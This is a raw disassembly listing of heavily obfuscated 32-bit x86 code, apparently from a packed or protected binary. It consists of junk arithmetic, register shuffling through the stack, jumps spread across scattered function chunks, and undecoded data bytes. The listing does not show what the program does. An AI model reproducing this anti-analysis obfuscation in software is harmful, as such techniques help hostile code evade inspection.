		dd 1FC3C158h, 1C55E9h, 0C6C30000h, 685A8B02h, 11E44AAEh
		dd 0EAC88158h, 0E97DDAEEh, 0AD9h, 0E2680000h, 0E90043A4h
		dd 0F1Dh
		db 2 dup(0)
word_43B00A	dw 3CB8h		; DATA XREF: sub_43B6FF:loc_43D7AFo
		dd 4E924h, 0C3000000h, 0E8530000h, 39Ah, 0D63E9h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_43B023:				; CODE XREF: _5qvhby1c:0043ACCEj
		jmp	locret_43C7F3
; ---------------------------------------------------------------------------
		dd 8BE90000h, 12h, 87D1F700h, 8159240Ch, 61026F2h, 14879D8Dh
					; CODE XREF: _5qvhby1c:0043CED9p
		dd 0C6689C24h, 0E9CAB048h, 0FFFFF7BDh
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_225. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
		jmp	loc_43B6D6
; ---------------------------------------------------------------------------
		align 2
		db  56h	; V
		db 0BEh	; 
		db 0DEh	; 
		db 0CDh	; 
		db  43h	; C
		db    0
		db 0E9h	; 
		db  80h	; 
		db  2Dh	; -
		db    0
		db    0
		db 2 dup(0), 0C3h	; CODE XREF: sub_43C80D+17j
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BEF5


loc_43B066:				; CODE XREF: sub_43BEF5+1F87j
		jmp	loc_43DD08
; END OF FUNCTION CHUNK	FOR sub_43BEF5
; ---------------------------------------------------------------------------
		jmp	loc_43BCEF
; ---------------------------------------------------------------------------
		dd 0F87D8300h, 35850F00h, 0E9FFFFEFh, 174h, 0C30000h, 28B6E900h
		dd 0
; ---------------------------------------------------------------------------
		pop	eax
		sub	eax, 0FCD3D784h
		or	eax, 4B57288Ah
		add	eax, 0D97A8B84h
		jmp	loc_43D90B
; ---------------------------------------------------------------------------
		or	ebp, ecx
		and	eax, 6CCA2817h
		push	43A5EBh
		jmp	loc_43D705
; ---------------------------------------------------------------------------
		align 4
		dd 0AF96F881h, 0CCE9BC6Bh, 0FFFFFF7h, 0FFFB6781h, 0E9DA2BFFh
		dd 0FFFFFB9Eh, 0C7810000h, 0B471E884h, 46E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43B0DE:				; CODE XREF: _5qvhby1c:0043A5A6j
		mov	byte ptr [edx],	3
		pop	edx
		push	0EC76D881h
		xchg	edx, [esp]
		mov	eax, edx
		pop	edx


loc_43B0ED:				; CODE XREF: _5qvhby1c:loc_43C6B5j
		rol	eax, 14h
		jmp	loc_43A700
; ---------------------------------------------------------------------------
		db 2 dup(0), 87h
; ---------------------------------------------------------------------------
		add	al, 24h
		push	offset byte_43DE8E
		jmp	locret_43D052
; ---------------------------------------------------------------------------
		dd 0C30000h, 34EE9h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AE40


loc_43B10E:				; CODE XREF: sub_43AE40-188j
		jmp	loc_43D48A
; END OF FUNCTION CHUNK	FOR sub_43AE40
; ---------------------------------------------------------------------------
		align 4
		dd 0C300h, 87CF8B51h, 82E8240Ch, 0E9000026h, 9Fh, 4AAE9h
		dd 0D5850000h, 21EFE9h,	0
off_43B138	dd offset sub_43E113	; DATA XREF: sub_43DACC+4r
		align 10h
dword_43B140	dd 116h				dd 9AAE900h, 0F0E90000h, 0Bh, 862A9969h, 0F7840F00h, 0E9000021h
		dd 2732h, 5E243487h, 0B20BC281h, 6FE89FB3h, 2Bh, 0A45E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_43B176:				; CODE XREF: _5qvhby1c:0043DDA8j
		retn
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFF6CFh
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_235. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	locret_43B63C
; ---------------------------------------------------------------------------
		dd 0DE8B5300h, 68241C87h, 0EAC3868Eh, 0AC6C15Eh, 0D2EEE681h
		dd 70E893EAh
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DACC


loc_43B19F:				; CODE XREF: sub_43DACC+10j
		push	0F9EF9442h
		pop	edx
		sub	edx, 0BA450865h
		xor	edx, 7515B41Ch
		add	edx, 0A733B537h
		xor	eax, eax
		cld
		jmp	loc_43AA1F
; END OF FUNCTION CHUNK	FOR sub_43DACC
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, ebp
		jmp	loc_43D2B4
; ---------------------------------------------------------------------------
		db 0E8h
		dd 1C72h, 96E08100h, 814CA13Ah,	0A386CAC0h
		db 0B3h
byte_43B1D9	db 36h,	0, 29h		; DATA XREF: _5qvhby1c:0043A2DBo
		dd 2C840FD0h, 6A00002Ah, 0F9F9E8FFh
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B4B3


loc_43B1EB:				; CODE XREF: sub_43B4B3:loc_43DF05j
		xchg	ebp, [esp+0]
		call	near ptr dword_439F20+20h

locret_43B1F3:				; CODE XREF: _5qvhby1c:0043DD02j
		retn
; END OF FUNCTION CHUNK	FOR sub_43B4B3
; ---------------------------------------------------------------------------
		jmp	loc_43DF1B
; ---------------------------------------------------------------------------
		align 2
		jmp	locret_43C4EE
; ---------------------------------------------------------------------------
		align 10h
		retn
; ---------------------------------------------------------------------------
		push	5226FA11h
		xchg	esi, [esp]
		mov	edx, esi


loc_43B20B:				; CODE XREF: _5qvhby1c:loc_43D68Cj
		jmp	loc_43BCA1
; ---------------------------------------------------------------------------
		dd 0C0F70000h, 0F2479563h, 0FFF507E9h, 241C87FFh, 29F0815Bh
					; CODE XREF: sub_43D51D:loc_43C4CBp
		dd 51C1ECEFh, 0FFFD40E9h, 0F3815BFFh, 2DA58430h, 0B43FC381h
		dd 6CE907BFh, 15h
		db 0
; ---------------------------------------------------------------------------

locret_43B241:				; CODE XREF: _5qvhby1c:loc_43C064j
		retn
; ---------------------------------------------------------------------------
		push	0ECD3EE67h

; =============== S U B	R O U T	I N E =======================================



sub_43B247	proc near
		push	43A391h
		jmp	nullsub_241
sub_43B247	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dw 0E900h		; CODE XREF: _5qvhby1c:0043D513j
		dd 1ED7h, 0B9515200h, 43C86Ah, 15FFE9h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43B265	proc near		; CODE XREF: sub_43A382+109Cp

; FUNCTION CHUNK AT 0043C127 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043C25F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043CBA1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CC19 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	esi
		push	0C5BC657Ah
		pop	esi
		rol	esi, 12h
		sub	esi, 0C26F3F4Eh
		jmp	loc_43CBA1
sub_43B265	endp

; ---------------------------------------------------------------------------
		dw 8300h
		dd 0F00F07Dh, 152D8Dh, 0FC458B00h, 0F0000C6h, 23DB85h
		dd 14D7E900h
		db 3 dup(0)
byte_43B29B	db 3			; DATA XREF: sub_43A470+1Bo
		dd 10B951D3h, 0E90043DEh, 0FFFFFCB6h, 0E90000C3h, 1FA8h
; ---------------------------------------------------------------------------


loc_43B2B0:				; CODE XREF: _5qvhby1c:0043B725j
		jmp	loc_43DA79
; ---------------------------------------------------------------------------
		xchg	ecx, [esp]
		pop	ecx
		push	ecx
		push	6BAF415Ah
		pop	ecx
		sub	ecx, 2E48AC93h
		or	ecx, 0B9B1258h
		add	ecx, 0A52338FCh
		jmp	loc_43BC9B
; ---------------------------------------------------------------------------
		db 85h
; ---------------------------------------------------------------------------
		aad	0E9h
		cmp	large ds:0, ebx

locret_43B2E0:				; CODE XREF: _5qvhby1c:0043D3C0j
		retn
; ---------------------------------------------------------------------------
		db 0E9h	; 
		db  57h	; W
		db 0FCh	; 
		db 0FFh
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_43B2E6	proc near		; CODE XREF: _5qvhby1c:loc_43B6A0p

; FUNCTION CHUNK AT 0043AA7D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D8EF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043DF49 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	byte ptr [ebx],	87h
		pop	ebx
		push	eax
		mov	eax, offset loc_43BD1B
		jmp	loc_43DF49
sub_43B2E6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db    0
		db  87h	; 
		db  14h
		db  24h	; $
		db  87h	; 
		db  0Ch
		db  24h	; $
		db  8Bh	; 
		db 0D1h	; 
		db  59h	; Y
		db 0E8h	; 
		db  70h	; p
		db 0FAh	; 
		db 0FFh
		db 0FFh
		db    0
		db    0

; =============== S U B	R O U T	I N E =======================================



sub_43B30A	proc near		; CODE XREF: _5qvhby1c:0043C614p
					; _5qvhby1c:0043DA65j
		xchg	eax, [esp+0]
		pop	eax
		mov	byte ptr [eax],	0
		push	ebp
		mov	ebp, ecx
		jmp	near ptr dword_43B66C+1Ah
sub_43B30A	endp

; ---------------------------------------------------------------------------
		db    0
		db  99h	; 
		db  81h	; 
		db 0E3h	; 
		db 0E6h	; 
		db  4Dh	; M
		db 0C7h	; 
		db  8Eh	; 
		db    3
		db 0FAh	; 
		db  13h
		db 0C1h	; 
		db 0E9h	; 
		db 0B6h	; 
		db 0F3h	; 
		db 2 dup(0FFh),	0
byte_43B32B	db 0C6h			; DATA XREF: sub_43A7DE:loc_43D140o
		dd 3C878702h, 5FD78B24h, 0E8241C87h, 881h, 82EE900h, 0
		db  87h	; 
		db  14h
		db  24h	; $
		db  5Ah	; Z
		db  57h	; W
		db  8Bh	; 
		db 0F8h	; 
		db  87h	; 
		db  3Ch	; <
		db  24h	; $
		db 0E9h	; 
		db 0D6h	; 
		db  1Bh
		db    0
		db    0
		align 4
		dd 0C2C1C201h, 41C23103h, 0F6BD850Fh, 0BFE9FFFFh
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7F1


loc_43B367:				; CODE XREF: sub_43B7F1:loc_43AD69j
		push	esi
		mov	esi, edx
		xchg	esi, [esp+4+var_4]
		mov	edx, offset loc_43A688
		jmp	loc_43B3B1
; END OF FUNCTION CHUNK	FOR sub_43B7F1
; ---------------------------------------------------------------------------


loc_43B377:				; CODE XREF: _5qvhby1c:0043CA22j
		ror	edi, 0Bh
		sbb	edi, 2E06B196h
		xor	esi, eax
		and	ebx, 0C19FF97Ah


loc_43B388:				; CODE XREF: _5qvhby1c:loc_43CA0Fj
		xor	eax, 20647E4h
		add	eax, ebp
		push	edi
		push	0D1981EA2h
		jmp	loc_43DB5C
; ---------------------------------------------------------------------------
		align 4
dword_43B39C	dd 0A735C281h, 0C4E8A03Dh, 1, 0C0CE900h, 0C30000h
					; CODE XREF: _5qvhby1c:0043C2B3j
					; DATA XREF: _5qvhby1c:0043C82Ao
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7F1


loc_43B3B1:				; CODE XREF: sub_43B7F1-47Fj
		jmp	loc_43D87C
; END OF FUNCTION CHUNK	FOR sub_43B7F1
; ---------------------------------------------------------------------------


loc_43B3B6:				; CODE XREF: _5qvhby1c:0043B8CDj
		xchg	eax, [esp]
		pop	eax
		push	eax
		mov	eax, offset loc_43D510
		jmp	loc_43D50A
; ---------------------------------------------------------------------------


loc_43B3C5:				; CODE XREF: _5qvhby1c:0043B864j
		jbe	loc_43AADA


loc_43B3CB:				; CODE XREF: _5qvhby1c:loc_43C626j
		push	43A863h
		jmp	loc_43D905
; ---------------------------------------------------------------------------
		align 2
		dw 5668h
		dd 0E90043B0h, 0FFFFFEC8h, 0C43BDA81h, 0C87C1E5h, 24048724h
		dd 358C88Bh, 0AA4E8F5h,	0E9000000h, 23BDh, 0FE8B0000h
		dd 22E9DD87h, 0C3000013h
		db 0
; ---------------------------------------------------------------------------


loc_43B409:				; CODE XREF: _5qvhby1c:0043A909j
		xchg	eax, [esp]
		xchg	esi, [esp]
		mov	eax, esi
		pop	esi
		pop	ecx


loc_43B413:				; DATA XREF: _5qvhby1c:0043BA24o
		push	34h
		and	al, 0E9h
		popf
		sbb	[eax], eax
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A382


loc_43B41B:				; CODE XREF: sub_43A382+9j
		xchg	ebx, [esp-4+arg_0]
		call	sub_43B265
		push	1ACC15FCh
		xchg	ecx, [esp+0]
		mov	eax, ecx
		pop	ecx
		sub	eax, 489AAA13h
		and	eax, 0C98EDE7h
		sub	eax, 0AC41A8E0h
		jmp	loc_43C48A
; END OF FUNCTION CHUNK	FOR sub_43A382
; ---------------------------------------------------------------------------
		db 2 dup(0), 87h
; ---------------------------------------------------------------------------
		or	al, 24h
		xchg	edx, [esp]
		mov	ecx, edx
		pop	edx
		push	eax
		mov	eax, offset byte_43C0A3
		jmp	loc_43B494
; ---------------------------------------------------------------------------
		xchg	ebp, [esp]
		mov	esi, ebp
		pop	ebp
		and	esi, 0C8BFE203h
		push	ebp
		mov	ebp, ebx
		jmp	loc_43BA21
; ---------------------------------------------------------------------------
		align 10h
		dd 901C600h, 0C300C659h, 0FFE937E8h, 524FB8FFh,	0C0090042h
		dd 45F840Fh, 5F680000h,	0E90043C3h, 97Ah
; ---------------------------------------------------------------------------


loc_43B494:				; CODE XREF: _5qvhby1c:0043B456j
		mov	byte ptr [eax],	0FFh
		pop	eax
		push	0FFFFFFFFh
		push	offset byte_43C09B
		jmp	locret_43A9E1
; ---------------------------------------------------------------------------
		mov	eax, edi
		xchg	eax, [esp]
		mov	edi, offset loc_43C4DE
		jmp	loc_43D21C

; =============== S U B	R O U T	I N E =======================================



sub_43B4B3	proc near		; CODE XREF: _5qvhby1c:0043A2CDp

; FUNCTION CHUNK AT 0043B1EB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043DF05 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	ebp
		mov	ebp, edi
		jmp	loc_43DF05
sub_43B4B3	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0F0458900h, 0F87DE9h, 0D74850Fh, 45C60000h, 0C8E930E0h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_43B4D7:				; CODE XREF: _5qvhby1c:loc_43AA18j
		add	edi, 9409F335h
		jmp	loc_43CEDE
; ---------------------------------------------------------------------------
		align 4
		dd 0A172C181h, 0C87087Fh, 14875924h, 5ACA8B24h,	0F966E951h
		dd 815AFFFFh, 37D9C6E2h, 0C5F281B8h, 8183AD52h,	0F758BCC2h
		dd 0E9D503D5h, 1DEFh, 1E27860Fh, 0CEC10000h, 0DED78104h
		dd 0E911C69Dh, 2752h, 0A6870F00h, 87FFFFECh, 0FD2FE9C5h
		dd 0FFFFh, 43B44768h, 0FE6CE900h, 0FFFFh, 0F2F8F0Fh, 7AE90000h
		dd 25h,	0C8810F00h, 68FFFFE8h, 1C57C246h, 89C08158h, 0E90440D3h
		dd 0FFFFFA2Ch, 87FE3300h, 35F243Ch, 3FC281D5h, 895B41D4h
		dd 6AE95A02h, 0Ch, 0A9E9C300h, 0E900001Ch, 0FFFFF021h
		dd 89E90000h, 0FFFFEDh,	0EADB880Fh, 3487FFFFh, 0D0FF5E24h
		dd 344E9h, 0E8000000h, 24DBh, 0C8030000h, 2463E9h, 0E99D0000h
		dd 247Fh, 7A680000h, 0E90043ABh, 0FFFFE9D9h, 0C1D10000h
		dd 8408F181h, 0DE8488Ch, 68000010h, 43BF7Eh, 98FE9h, 9C000000h
		dd 0E8A23A68h, 241487C6h, 815AC28Bh, 0CBDDEAE0h, 5CF08189h
		dd 0E928F532h, 1820h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43B602:				; CODE XREF: _5qvhby1c:0043AAE5j
		xchg	esi, [esp]
		pop	esi
		push	offset loc_43A7C4
		jmp	locret_43BC12
; ---------------------------------------------------------------------------
		dd 0FF01C600h, 8B241487h, 0F7815ACAh, 0AA898FA2h, 16E8FD03h
		dd 0FFFFF6h, 588B00C6h,	8B243C87h, 0C1C15FCFh, 0F36AE90Dh
		dd 0FFFFh
; ---------------------------------------------------------------------------

locret_43B63C:				; CODE XREF: _5qvhby1c:0043B17Fj
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0FFFFE7BBh, 10F9E9h
		db 3 dup(0)
; ---------------------------------------------------------------------------

locret_43B64B:				; CODE XREF: _5qvhby1c:0043A33Dj
		retn
; ---------------------------------------------------------------------------
		dd 0EEE90000h, 1Ch
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43B655	proc near		; CODE XREF: _5qvhby1c:0043AD27j
					; _5qvhby1c:0043BA73p

; FUNCTION CHUNK AT 00439E94 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043B70A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043BFF6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C7A5 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		xchg	ecx, [esp+0]
		mov	edi, ecx
		pop	ecx
		add	edx, 0E5A5A932h


loc_43B664:				; DATA XREF: _5qvhby1c:loc_43D377o
		mov	edx, [edx]
		jmp	loc_43BFF6
sub_43B655	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0C6h
dword_43B66C	dd 595F8707h, 0E9240C87h, 0FFFFF7E1h, 8C0F0000h, 0FFFFED89h
		dd 2500E9h, 74E90000h, 0Bh, 0E9E38100h,	1B2CA1F5h, 0E7C981C6h
		dd 0E91D0F1Ch, 0B55h
; ---------------------------------------------------------------------------


loc_43B6A0:				; CODE XREF: _5qvhby1c:0043BA29j
		call	sub_43B2E6
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 2570h, 0C30000h, 0ECB1E900h,	0FFFFh,	0C081C503h, 0EC10C161h
		dd 6968008Bh, 0E90043C0h, 2606h, 0E92A8B00h, 0AB4h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43B6D6:				; CODE XREF: _5qvhby1c:0043B050j
		call	sub_43B893
; ---------------------------------------------------------------------------
		db 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7FC


loc_43B6DD:				; CODE XREF: sub_43B7FC-16C4j
		jmp	loc_43CE79
; END OF FUNCTION CHUNK	FOR sub_43B7FC
; ---------------------------------------------------------------------------
		dw 8700h
; ---------------------------------------------------------------------------
		adc	al, 24h
		pop	edx
		push	edx
		mov	edx, ecx
		xchg	edx, [esp]
		mov	ecx, offset loc_43D6F1
		jmp	loc_43C6CB
; ---------------------------------------------------------------------------
		align 4
		dd 88820F00h
		db 6, 2	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_43B6FF	proc near		; CODE XREF: sub_43B655-17B7p

; FUNCTION CHUNK AT 0043D7AF SIZE 0000000A BYTES

		xchg	eax, [esp+0]
		pop	eax
		jmp	loc_43D7AF
sub_43B6FF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B655


loc_43B70A:				; CODE XREF: sub_43B655-17BDj
		push	offset loc_43A0D0
		jmp	loc_43C7A5
; END OF FUNCTION CHUNK	FOR sub_43B655
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43B715:				; CODE XREF: _5qvhby1c:loc_43A37Bj
		mov	byte ptr [edi],	87h
		push	edi
		push	3D630971h
		pop	edi
		add	edi, 2BB719DDh
		jmp	loc_43B2B0
; ---------------------------------------------------------------------------
		dw 0C600h
		dd 58598B01h, 407C685Eh, 38E996F9h, 0FFFFF2h, 0F3E91787h
		dd 23h,	0ADE9F323h, 2, 5200C300h, 1487D18Bh, 0B4F56824h
		dd 348770DFh, 5ECE8B24h, 68D1C981h, 61E91959h, 4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A713


loc_43B76C:				; CODE XREF: sub_43A713+32A1j
		rol	ecx, 11h
		sub	ecx, 0BE65D04Ah
		or	ecx, 783502FEh
		add	ecx, 6EBF23EBh
		jmp	loc_43C37D
; END OF FUNCTION CHUNK	FOR sub_43A713
; ---------------------------------------------------------------------------
		align 4
		add	ebx, 9A04DF64h
		xor	ebx, 31BC2826h
		add	ebx, ebp
		add	ebx, 4D48FE5Ch
		mov	[ebx], eax
		pop	ebx
		push	5D6993F5h
		push	edi
		jmp	loc_43D377
; ---------------------------------------------------------------------------
		sub	eax, 0AC41A8E0h
		cmp	eax, 0AB205F2Ah
		jmp	loc_43D88A
; ---------------------------------------------------------------------------
		align 4
		dd 4C08100h, 715965DAh,	4FE92404h, 0Ch,	0E1685100h, 87430731h
		dd 0CA8B2414h, 80DE9h, 14870000h, 22685324h, 5BE9064Ah
		dd 0FFF02EE9h, 1B0000FFh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_43B7F1	proc near		; CODE XREF: sub_43C14F-1EFBp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439EB4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043A630 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AAD2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043AD45 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043AD69 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B367 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043B3B1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C574 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CB3D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043CBEA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043CFC8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D02A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043D16C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043D290 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D87C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043DDB3 SIZE 00000016 BYTES

		xchg	ecx, [esp+4+var_4]
		pop	ecx
		pop	eax
		pop	edx
		jmp	loc_43D290
sub_43B7F1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43B7FC	proc near		; CODE XREF: sub_43B7F1-1933j
					; sub_43B7F1+197Fj

; FUNCTION CHUNK AT 0043A133 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043A814 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B6DD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CE79 SIZE 00000014 BYTES

		push	ebx
		jmp	loc_43A133
sub_43B7FC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0C300h
		dd 0F7810000h, 0E1D55235h, 68243C87h, 43DAEDh, 0FFFE8EE9h
		dd 870000FFh, 8B5B241Ch, 1EE95610h, 0FFFFF9h
		db 0
; ---------------------------------------------------------------------------


loc_43B829:				; CODE XREF: _5qvhby1c:loc_43C7FBj
		sub	edx, 28F751BCh
		test	edx, 10000h
		jmp	loc_43B9C4
; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_221. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0), 81h
		dd 741B85E7h
		db 6Ah

; =============== S U B	R O U T	I N E =======================================



sub_43B845	proc near		; CODE XREF: _5qvhby1c:0043A217p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043A623 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043AF82 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C78F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043CDB2 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		popf
		test	[esp-4+arg_0], edi
		jmp	loc_43AF82
sub_43B845	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 5900h
; ---------------------------------------------------------------------------
		push	offset sub_43A9C4
		jmp	loc_43D240
; ---------------------------------------------------------------------------
		align 10h


loc_43B860:				; CODE XREF: _5qvhby1c:loc_43A8ACj
		adc	ebx, ecx
		cmp	ebp, eax
		jmp	loc_43B3C5
; ---------------------------------------------------------------------------


loc_43B869:				; DATA XREF: _5qvhby1c:loc_43A51Bo
		xchg	ebp, [esp]
		push	ebp
		pop	ecx
		push	43A497h
		jmp	loc_43D411
; ---------------------------------------------------------------------------
		dd 240C8700h, 3E4D6859h, 81582A42h, 3E44BAC0h, 0CB8B51B1h
		dd 2501E9h
		db 0
; ---------------------------------------------------------------------------


loc_43B891:				; CODE XREF: _5qvhby1c:00439DD3j
		sub	eax, edi

; =============== S U B	R O U T	I N E =======================================



sub_43B893	proc near		; CODE XREF: _5qvhby1c:loc_43B6D6p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043A269 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D288 SIZE 00000008 BYTES

		xchg	ecx, [esp+0]
		xchg	ebx, [esp+0]
		mov	ecx, ebx
		pop	ebx
		mov	byte ptr [ebx],	31h
		pop	ebx
		jmp	loc_43A269
sub_43B893	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
		ja	loc_43D2B8
		jmp	loc_43D0D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C14F


loc_43B8B1:				; CODE XREF: sub_43C14F+Fj
		or	edx, edx
		jz	loc_43DE9B
		push	eax
		push	eax
		mov	eax, ebx
		xchg	eax, [esp+0]
		mov	ebx, offset loc_43A592
		jmp	loc_43C28B
; END OF FUNCTION CHUNK	FOR sub_43C14F
; ---------------------------------------------------------------------------
		pushf
		mov	ebp, ecx
		jmp	loc_43B3B6
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43B8D3	proc near

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043A455 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0043AE88 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043C41A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043CE38 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D239 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DD62 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	esi
		push	0AACE5B7Fh
		push	ebx
		mov	ebx, offset loc_43AE88
		jmp	loc_43DD62
sub_43B8D3	endp

; ---------------------------------------------------------------------------
		dd 22E9E800h, 0
; ---------------------------------------------------------------------------


loc_43B8F0:				; CODE XREF: _5qvhby1c:0043DB9Cj
		jmp	loc_43BCC7
; ---------------------------------------------------------------------------
		db 2 dup(0), 87h
		dd 995A2414h, 850FF9F7h, 0FFFFEDE3h, 0E9F98B57h, 1A52h
		dd 0C300h, 0F5F4850Fh, 6852FFFFh, 0E430E5D2h, 13EA815Ah
		dd 81D2C3E5h, 69DCB7F2h, 0EBFCE95Eh, 0C300FFFFh, 0B862C6F7h
		dd 43E96F5Eh, 68000014h, 43DC2Fh, 0FFF66CE9h, 0C2D15AFFh
		dd 4AA2F281h, 0C281505Fh, 976A79B5h, 0A423F281h, 0C2812C7Ch
		dd 29AF864Bh, 19D6E9h, 87000000h, 240C87EEh, 243C8759h
		dd 0FFF710E9h, 680000FFh, 43AFCBh, 11D5E9h, 240C8700h
		dd 8159D18Bh, 847875CAh, 0C2F7D2h, 0E9000008h, 1188h, 87C88B00h
		dd 685D240Ch, 43D14Bh, 0FFF8A8E9h, 68529CFFh, 0A2547210h
		dd 8DF2815Ah, 81A6DA69h, 0BCAECBCAh, 0EBDAE835h, 0FFFFh
; ---------------------------------------------------------------------------


loc_43B9C4:				; CODE XREF: _5qvhby1c:0043B835j
		jnz	loc_43C932
; START	OF FUNCTION CHUNK FOR sub_43A948


loc_43B9CA:				; CODE XREF: sub_43A948+1C84j
		jmp	loc_43D681
; END OF FUNCTION CHUNK	FOR sub_43A948
; ---------------------------------------------------------------------------
		align 10h
		cmp	ecx, 0E09D887Bh
		jmp	loc_43C91F
; ---------------------------------------------------------------------------
		align 4
		or	edi, 39CBC7B7h
		jmp	loc_43BE97
; ---------------------------------------------------------------------------
		align 4
		dd 12C2C100h, 132EE281h, 0DEE88D37h, 14h, 87241487h, 0D58B242Ch
		dd 57EC8B5Dh, 6AE95F51h, 6, 5F9C07C6h, 0BD30E881h, 0C0C124F6h
		dd 0B9E95002h, 0FFFFEEh
		db 0
; ---------------------------------------------------------------------------


loc_43BA21:				; CODE XREF: _5qvhby1c:0043B46Aj
		xchg	ebp, [esp]
		mov	ebx, offset loc_43B413
		jmp	loc_43B6A0
; ---------------------------------------------------------------------------
		xchg	ecx, [esp]
		mov	eax, ecx
		pop	ecx
		xor	eax, 930FC9A4h
		or	eax, 8ABBB237h
		test	eax, 4000h
		jmp	loc_43CA0F
; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_222. PRESS KEYPAD	"+" TO EXPAND]
		align 2


loc_43BA4E:				; CODE XREF: _5qvhby1c:0043C9B2j
		jmp	loc_43D1F3
; ---------------------------------------------------------------------------


loc_43BA53:				; CODE XREF: _5qvhby1c:0043C4C2j
		jo	loc_43BCDF
		sbb	esi, ecx
